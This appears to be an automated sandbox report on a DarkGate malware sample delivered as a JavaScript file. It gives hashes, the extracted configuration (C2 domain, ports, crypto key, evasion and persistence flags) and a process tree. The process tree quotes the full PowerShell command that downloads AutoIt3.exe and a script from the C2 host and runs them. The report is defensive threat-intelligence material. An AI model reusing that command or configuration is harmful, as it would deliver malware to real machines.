Analysis
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max time kernel
122s -
max time network
166s -
platform
windows10-2004_x64 -
resource
win10v2004-20231023-en -
resource tags
arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system -
submitted
07-11-2023 16:23
Static task
static1
Behavioral task
behavioral1
Sample
5f475d11b0914f11.js
Resource
win7-20231023-en
Behavioral task
behavioral2
Sample
5f475d11b0914f11.js
Resource
win10v2004-20231023-en
General
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Target
5f475d11b0914f11.js
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Size
254KB
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MD5
40e1292e9b1fe1a88b32b99e3ca9f72f
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SHA1
5a0403673919d994412f4635998e8f8a3ac315a8
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SHA256
00f25f4e27938650e42747fc5b85d87e040d8c79db82c72ccf05ca03c8d32771
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SHA512
3ed3109bd47fe056f01a5c6cb912addf2a90e9e55e1c412d3641d42335f80058594e2294b5c4cb6fd6d728add7a03115807595c87a4ff32149e93624dbad8e67
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SSDEEP
6144:Ne7hgXeerjqlI2Iro+qg3e7hgXeerjqlI2Iro+8:NIhgSlI23tKIhgSlI23V
Malware Config
Extracted
darkgate
user_871236672
http://8sjimonstersboonkonline.com
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alternative_c2_port
8080
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anti_analysis
true
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anti_debug
true
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anti_vm
true
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c2_port
2351
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check_disk
false
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check_ram
true
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check_xeon
false
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crypter_au3
false
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crypter_dll
false
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crypter_rawstub
true
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crypto_key
hxFtopOWuHrZAv
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internal_mutex
txtMut
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minimum_disk
41
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minimum_ram
6002
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ping_interval
4
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rootkit
true
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startup_persistence
true
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username
user_871236672
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 27 4408 powershell.exe 32 4408 powershell.exe -
Downloads MZ/PE file
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation wscript.exe -
Executes dropped EXE 1 IoCs
pid Process 4804 AutoIt3.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AutoIt3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString AutoIt3.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 4408 powershell.exe 4408 powershell.exe 4408 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4408 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 984 wrote to memory of 4408 984 wscript.exe 88 PID 984 wrote to memory of 4408 984 wscript.exe 88 PID 4408 wrote to memory of 4804 4408 powershell.exe 90 PID 4408 wrote to memory of 4804 4408 powershell.exe 90 PID 4408 wrote to memory of 4804 4408 powershell.exe 90
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\5f475d11b0914f11.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:984 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msiasfgadcz' -OutFile 'asfgadcz.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'asfgadcz.au3'"; Stop-Process -Name "WScript"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4408 -
C:\tepp\AutoIt3.exe"C:\tepp\AutoIt3.exe" asfgadcz.au33⤵
- Executes dropped EXE
- Checks processor information in registry
PID:4804
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
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Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
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Filesize
622KB
MD5a70fcfc7aa30e9510e317ace61e36d58
SHA1673f520759ece31f36b436c9a66f301bcdaed96d
SHA25689b9d335c4c669acf78b86ac3f57574de82aa2edd7c2415e32c596b01f5bb5b3
SHA5129ce83dc4336dcc08622d22d0ab71bf0327b8851bced36fcd237087bb7ad0f109d4b0d4a1a2438ac638886999c6693bb0a8d1e776d81f9a1e50db17ad82b8b2dc